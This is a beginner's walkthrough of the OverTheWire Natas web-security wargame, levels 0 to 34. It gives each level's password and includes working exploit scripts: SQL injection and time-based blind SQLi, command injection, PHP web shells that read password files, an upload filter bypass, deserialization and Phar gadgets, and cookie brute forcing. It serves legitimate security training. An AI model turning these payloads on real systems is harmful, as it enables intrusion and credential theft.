Overthewire Natas Walkthrough for Beginners
Level 0 - Level 1:
Looking at the source of the page, it has the password for the next level.
π g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
Level 1 - Level 2:
The level was blocking right click but not the keyboard shortcut.
Viewing the html gives the password for the next level.
π h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
Level 2 - Level 3:
Web page shows nothing on the page.
Upon inspecting the element, an image was fetched into the website.
going into the
/files
endpoint shows directory listing.The
users.txt
has the password for the next level.π G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
Level 3 - Level 4:
This hints towards the
robots.txt
π tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Level 4 - Level 5:
- This hints towards the
Referer
header.
π Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Level 5 - Level 6:
The application says not logged in.
This message hints towards the cookie and looking into it shows a boolean value for
loggedin
key.Changing the value to 1 solves the level.
π fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
Level 6 - Level 7:
The application was asking for a secret and returning the password if the provided secret was correct.
includes/
secret.inc
was included, so I tried to get the file directly.This reveals the secret
FOEIUWGHFEEUHOFUOIU
which gives the password for the next level.
π jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Level 7 - Level 8:
The application was fetching the pages from query parameter
page
.Querying the
/etc/natas_webpass/natas8
in thepage
parameter fetches the contents of the file revealing the password for the next level.
π a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
Level 8 - Level 9:
The input is first passed to the
encodeSecret
function and then compared withencodedSecret
.So reversing the
encodedSecret
hex2textβString reverse β base64 decode.Passing the decoded string as secret reveals the password for the next level.
π Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Level 9 - Level 10:
The application is inserting the input
key
directly into the command, so command injection is possible.Since the password is stored in
/etc/natas_webpass/natas10
, the password can be read.
π D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
Level 10 - Level 11:
Here some characters is being filtered before passing it through the grep command.
As I can control the file to read before the
dictionary.txt
.
π 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
Level 11 - Level 12:
The application has cookie protected with XOR.
The application sets the cookie with
saveData
function which json-encode β xor-encrypt β base64 encode the$defaultdata
.When a request is submitted, it decodes the cookie value by reversing the process and shows password if
showpassword
is set toyes.
The
xor_encrypt
function is responsible for encrypting the cookie wherekey
is hidden.The key property of XOR operation is that, the XOR of same thing is 0. Using this:
defaultdata
XORkey
βcookie
cookie
XORdefaultdata
βdefaultdata
XORkey
XORdefaultdata
βkey
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt_rev($data) {
$key = base64_decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qeX18bjY=");
$text = json_encode($data);
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText.PHP_EOL;
}
echo xor_encrypt_rev($defaultdata);
?>
The key is
KNHL
.Using this key to create new cookie value with
showpassword
set toyes
.
$required = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'KNHL';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt(json_encode($required))).PHP_EOL;
π YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
Level 12 - Level 13:
The application has a image upload feature which uploads file with a random generated string as filename.
Upon close inspection of the code, there exist two parameters in the request
filename
anduploadedfile
.The extension for the
uploadedfile
is set from the extension offilename
parameter.The general workflow of the application is:
It validates if
filename
exist in request.The filename is passed to
makeRandomPathFromFilename($dir, $fn)
withdir
set touploads
.The function extracts extension from the
filename
and send it togetRandomPath
function which returns a random filename for theuploadedfile
with the same extension asfilename
.
If a PHP file is uploaded with code to read the password from
/etc/natas_webpass/natas13
andfilename
extension changed to.php
, the file is executed when getting the file.
<?php
$myfile = fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
echo fread($myfile,filesize("/etc/natas_webpass/natas13"));
fclose($myfile);
?>
π lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
Level 13 - Level 14:
The application restricts the file type of the uploaded image.
The
exif_image
type checks for initial bytes to determine if the file is an image.Some magic bytes of JPG can be added to a PHP file to bypass the restriction.
fh = open('natas13.php', 'wb') fh.write(b'\xFF\xD8\xFF\xE0' + b'<?php system("cat /etc/natas_webpass/natas14"); ?>') fh.close()
This results in a file
natas13.php
with following content.ΓΏΓΓΏΓ <?php system("cat /etc/natas_webpass/natas14"); ?>
Now uploading the file in the application it passes the file-type check and when visited the link shows the password for the next level.
π qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
Level 14 - Level 15:
The application has a login form asking for username and password.
Also the value of
username
andpassword
is directly embedded into the SQL query without sanitation.When tried the
' or '1'='1
as payload, it says Access Denied.The application was checking for
debug
parameter and echoing the query that is executed.The query had double quotes instead of single, so changing the payload to
" or "1"="1
executed successfully and gives the password for the next level.
π TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
Level 15 - Level 16:
The application checks if a user exist in the database
Since the username is directly embedded into the SQL query, password can be queried and brute-forced.
Writing a python script to brute-force the password.
import requests url = "http://natas15.natas.labs.overthewire.org/index.php" headers = {"Authorization": "Basic bmF0YXMxNTpUVGthSTdBV0c0aURFUnp0QmNFeUtWN2tSWEgxRVpSQg=="} known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" password = "" while True: found = False for char in known_characters: print("Checking",char) #like binary compares the password in case sensitive form. payload = 'natas16" and password like binary"' + password + char + '%"-- -"' data = {"username": payload} res = requests.post(url=url, headers=headers, data=data) if "This user exists" in res.text: password += char found = True print("Current cracked:",password) break if not found: break print("Cracked password:", password)
π TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
Level 16 - Level 17:
The application filters special characters which prevents general command injection vulnerability.
However, it is not filtering the
$()
which can be used to inject some command.The password can be brute-forced character by character using grep command inside
$()
operator.
import requests
base_url = "http://natas16.natas.labs.overthewire.org/"
headers = {"Authorization": "Basic bmF0YXMxNjpUUkQ3aVpyZDVnQVRqajlQa1BFdWFPbGZFakhxajMyVg=="}
known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
password = 'XkE'
while True:
found = False
for char in known_characters:
print("Checking: "+char)
payload = '$(grep ^'+password+char+' /etc/natas_webpass/natas17)hellos'
res = requests.get(url=base_url+"?needle="+payload, headers=headers)
if "hellos" not in res.text:
password += char
found = True
print("Current cracked:",password)
break
if not found:
break
print("Cracked password:", password)
The main idea is to grep for initial sequence of password from
/etc/natas_webpass/natas17
one by one and checking the response for validating the password.If the grep inside
$()
returns, it appends the password with the wordhellos
and then search for the combined word indictionary.txt
file.This returns empty result.If the initial do not match in the
natas17
password file the output is empty which is concatenated withhellos
which returns non empty result when searched indictionary.txt
π XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
Level 17 - Level 18:
The application do not show any response for existing and non existing user.
This means normal password brute-force with SQL injection is not possible.
However, Time based Blind SQL injection is possible.
import requests
base_url = "http://natas17.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA=="}
known_characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ''
while True:
found = False
for char in known_characters:
print("Checking: " + char)
payload = 'natas18" && (Select case when password like binary "'+password+char+'%" then sleep(5) end from users where username = "natas18") -- -"'
data = {"username": payload}
res = requests.post(url=base_url, headers=headers, data=data)
if res.elapsed.total_seconds() > 4:
password += char
found = True
print("Current cracked:", password)
break
if not found:
break
print("Cracked password:", password)
π 8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Level 18 - Level 19:
The application is checking if the user is admin and then echoing the password for the next level.
When logged in with any random user, the application creates a cookie
PHPSESSID
with a integer value.The application is setting a random value from 1 - 640.
The cookie value can be brute-forced as it is sequential.
PHPSESSID
119 showed the password for the next level.
π 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
Level 19 - Level 20:
The application has same logic as the previous level, the only difference is the
PHPSESSID
is not sequential.When I see the cookie it seems like HEX value.
The application might be using the same number range from 1 - 640 but is hex encoding it appending
-admin
in the sequence.
import requests
import binascii
base_url = "http://natas19.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxOTo4TE1KRWhLRmJNS0lMMm14UUtqdjBhRURkazd6cFQwcw=="}
for i in range(1, 641):
cookie = {"PHPSESSID": binascii.hexlify(bytes(f'{i}-admin', 'utf-8')).decode()}
res = requests.get(url=base_url, headers=headers, cookies=cookie)
if "Login as an admin" not in res.text:
print(res.text)
break
π guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH
Level 20 - Level 21:
The application is maintaining sessions on their own storing the variables in a file.
mywrite
function is writing the name input into the session variablename
without sanitation.myread
function reads the session file, reads it line by line and create session variables based on it.If an additional variable is sent with newline character it gets add into the file. When reading the file the characters after
\n
is treated as new variable and saved to_SESSION
.
π 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56
Level 21 - Level 22:
- Two applications are collocated. This means both application share same session cookie.
http://natas21.natas.labs.overthewire.org/
http://natas21-experimenter.natas.labs.overthewire.org/index.php
The 2nd application has a form to style the text. And the changes persists on reload. So, the variables are stored in the session.
Upon inspecting the PHP code, it is saving every form value in the current session.
It will store any key value pair in the session, So injecting the
admin
value when submitting the form.Now use the same cookie in 1st Application and reload the page. This will give the password for the next level.
π 91awVM9oDiUGm33JdzM7RVLBS8bz9n0s
Level 22 - Level 23:
The application is checking for
revelio
parameter and showing the password if exist.But the application is checking for admin access and redirecting to
/
if the user is not admin.However the password for next level is also returned but the browser redirects the user to
/
without showing the response.This can be bypassed with Burpsuite.
π qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj
Level 23 - Level 24:
The application asks for a password and gives the password for next level if it meets the requirements.
It checks if
iloveyou
exists in password and if the password value isgreater than 10
.This can be exploited due to PHP type juggling when
5000iloveyou
is given as input as it passes both the conditions.The password contains the text
iloveyou
in it.Due to PHP type juggling, it converts the input to integer value i.e. 5000 and compares it with 10.
This solves the problem and shows the password for the next level.
π 0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r
Level 24 - Level 25:
This level also asks for password and compares with the secret to show the password for next level.
The
strcmp
function is vulnerable to type-juggling.Instead of string if we provide an array, the if condition ends up as true and show the password for the next level.
π O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx
Level 25 - Level 26:
The application has a simple quote paragraph and an option to choose the language which is sent as parameter
lang
.The language is being included as file, so File Inclusion might be possible.
Looking at the
logRequest
function, it includesUser-Agent
into the log which is controlled by us. Also shows the location of the log file with its name.If we can insert PHP in the
log
file and include the log file exploiting thereplace()
function, we can get the password for the next level.Since log is created when it do not pass the test, Sending PHP code with
lang=natas_webpass
andUser-Agent
with valid PHP code.
- This payload works because
replace()
function replaces the../
character once and not recursively.
π 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
Level 26 - Level 27:
The application asks for coordinates and plots them in a image.
Every input is stored in
drawing
cookie and is plotted along with the past inputs.Looking at the source code, it is deserializing the
drawing
cookie value.The application also has a
Logger
class which is responsible for logging.The interesting function is the
__destruct()
and the class attributeexitMsg
andlogFile
.For the exploitation I created a malicious serialized object as:
<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="<?php system('cat /etc/natas_webpass/natas27'); ?>"; $this->logFile = "img/natas26_exploit.php"; } } $logger = new Logger("temp"); echo base64_encode(serialize($logger)).PHP_EOL; ?>
When the output of the code is set as
drawing
cookie, it is passed to the application when the page is reloaded.When the cookie is deserialized, instance of the malicious object is created with:
logFile
βimg/natas26_exploit.php
exitMsg
β<?php system('cat /etc/natas_webpass/natas27'); ?>
When the object is destroyed the
__destruct
function is invoked which creates thelogFile
and insertsexitMsg
into it.This means
natas26_exploit.php
file is created with the PHP code to read the contents of/etc/natas_webpass/natas27
.Visiting the exploit page, gives the password for the next level.
π PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3
Level 27 - Level 28:
The application shows a login form, it the user exist it checks for credentials and display them back. If the user does not exist it creates a new one.
It is preventing SQL injection.
The interesting part is the database schema where the length of username and password is 64.
However, the limit is not verified when creating a new user.The function is preventing username with additional spaces.
Source code with the main flow:
The main idea for the exploit is the SQL Truncation Exploit. This means the inputs longer than 64 characters will be truncated or deleted.
Using this along with
createUser
function trim function.Creating a new user with username
natas28
(7 characters ) + 57space
+ any character. = 65 character.This will prevent the
trim()
function to shorten the username.As the database can only store 64 characters, new user will be created with the username
natas28
+ 57space
= 64In My_SQL database both
natas28
andnatas28+ 57 space
is treated as same when queried by the username.However the password is different for the two entries.
Create a user with 65 character payload and login with 64 character user will reveal the password for the other
natas28
user.This is because of the
dumpData
function which iterated over the user and prints their data.
π skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4
Level 28 - Level 29:
The application is searching for jokes in database containing the word we search for.
It is sending request to
search.php
with an encrypted queryIt seems like base64 encoded, but is encrypted.
When normal text is sent as query parameter, it shows error related to padding, which hints towards the Block cipher.
When valid search query are sent, there are some similar blocks for each search.
This hints toward the ECB encryption. The initial encrypted block are some text that are pre-pended to our search input. The encrypted query might be formed by this:
Default Prepended Text
+Our Input
+Padding to match the predefined block size
Now checking for block size by increasing the input size.
Here the
Encrypted query length
is increased by 32 bytes. The length remain same for16
characters ininput length
.The jump from 160 to 192 at
input length
13 is due to the pre-pended characters to our input.Input Block size = 16 characters
Encrypted Block size = 32 bytes.
Now lets see if we can get encrypted block to same sequence of 32 bytes for consecutive block.
The first two blocks are same for all request. After the input of 10
a
, the 3rd block also starts to repeat. So it contains theprepended 6 characters
+10 'a's
.At input length 9 there is 1 character padding at the end
After 10 character input a new block is added with one
a
and 15padding
character.
If we can fill the remaining blocks with with our input, then next block of bytes will also start to repeat.
3rd block starts to repeat which is filled with
a
:
Now the repeating block
b39038c28df79b65d26151df58f7eaa3
represents 16a
characters.After next 16 character, next block also start to repeat.
2 blocks with
a
s.
If we try to inject SQL query in the application it is escaped and is searched as normal text.
Response for searching
'
:
To verify it we can send crafted input so that the escaping increases the blocks of bytes in the encrypted query.
Verifying escaping of
'
:- When 12
a
are sent the size is 160. But when 11a
and 1'
is sent the size is 192. So this is adding\
character before the'
character.
- When 12
Our input is divided into blocks and then individual block is encrypted separately due to use of ECB encryption. The escaping is done when input is supplied. The application work flow is like.
input β escaping SQL-i characters β encrypt individual block β combine encrypted blocks β encrypted query
encrypted query β decryption block by block β combine the decrypted string β run the SQL query to fetch the joke.
We assume
'
is converted to\'
and then encrypted.If we can insert the
'
character at the end of the block\
is inserted at the end of the block and the'
character is pushed to the next block.Since individual blocks are decrypted individually and then the resulting text is combined, we replace the encrypted byte block with
\
at the end with encrypted byte block with normal character at the end.This will result in text with no escaping of the
'
character and can execute the arbitrary SQL injection code which can be used to obtain the password for the next level.We know in the third block there is space for 10 characters, So putting 9
a
and'
will replace'
with\
and push'
to the next block.If we replace the 3rd block with encrypted byte block with
xxxxxxaaaaaaaaaa
(10a
), the encrypted query is a valid one but without a escaping\
.crafted malicious encrypted query with SQLi:
URL encode the payload then provide to the search query to get the password for the next level.
π pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno
Level 29 - Level 30:
The application this time is not built with PHP but with Perl.
It has a drop down which includes some files with a query parameter
file
Tried some path traversal payloads but did not work.
When tried to brute-force some characters and numbers 0 seems to send some less bytes.
When tried to do some command injection
|
character work but with a null byte%00
at the end.So I tried to read the
/etc/natas_webpass/natas30
but failed.Tried to read the
index.pl
file which contains the main logic and it succeed. So, some thing must be filtered when reading the password file.Command injection to read the source code:
For this we can use the
*
feature of linux.Using
/etc/*_webpass/*30
reveals the password for the next level.
π Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X
Level 30 - Level 31:
This level has a login form with
username
andpassword
written in PERL.Looking at the source code, it was using
quote
function to restrict the SQL injection payload.Searching in google about the SQL injection in Perl, came across a feature about
param
andquote
function.
π AMZF14yknOn9Uc57uKB02jnYuhplYka3
Level 31 - Level 32:
The application has a file upload feature which accepts a
.csv
file and show it in a table.Going through this video β Link , shows a way to exploit the Perl code and execute the command.
The
ARGV
will enable the application to run the command specified at the URI.
π Yp5ffyfmEdjvTOwpN5HCvh7Ctgf9em3G
Level 32 - Level 33:
The application is same as the previous one but for getting the password we have to execute a binary present in the web root.
For this the contents of the web root is listed first.
It contains a file called
getpassword
so executing the file to get the password.
π APwWDD3fRAf6226sgBOBaSptGwvXwQhG
Level 33 - Level 34:
The application has a file upload feature to update firmware, which allows PHP file.
When tried to upload a php file, it is saved as
PHPSESSID
as file name. But going to the endpoint says404 not found
.Tried changing the filename to
.php
, but did not work.Looking at the source code, it has a
Executor
class which is responsible for handling the request.It is validating the MD5 sum in the
__destruct()
function and executing thepassthru()
function which is similar toexec()
.The MD5 with loose comparison hints towards the MD5-Hash Collision, but is difficult because of the size limitations of the file.
Another hint is towards the Deserialization due the
passthru
function present in the__destruct()
function. However, the application do not have anyunserialize()
function.Came across Phar Deserialization which can be used to solve this level.
For exploitation we create a malicious PHP file with code to read the password for the next level.
<?php system('cat /etc/natas_webpass/natas34'); ?>
Then create a phar file with modified object of the
Executor
class.<?php class Executor{ private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar('natas.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $object = new Executor(); $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ?>
Executing the PHP script will create a
.phar
file which will be uploaded and referenced using theStream Wrappers
.php -d phar.readonly=false natas33.php
Now upload the files in the server changing the name of the files from session id to the respective name.
Then use the Stream Wrapper
phar://
to reference the currently uploaded.phar
file which contains the serialized object of the modifiedExecutor
class.This will trigger in the deserialization of the object and trigger of the
__destruct()
function.Due to loose comparison of the MD5 hash, the
$signature
in the modified object results the condition to be true and give the password for the next level
π F6Fcmavn8FgZgrAPOvoLudNr1GwQTaNG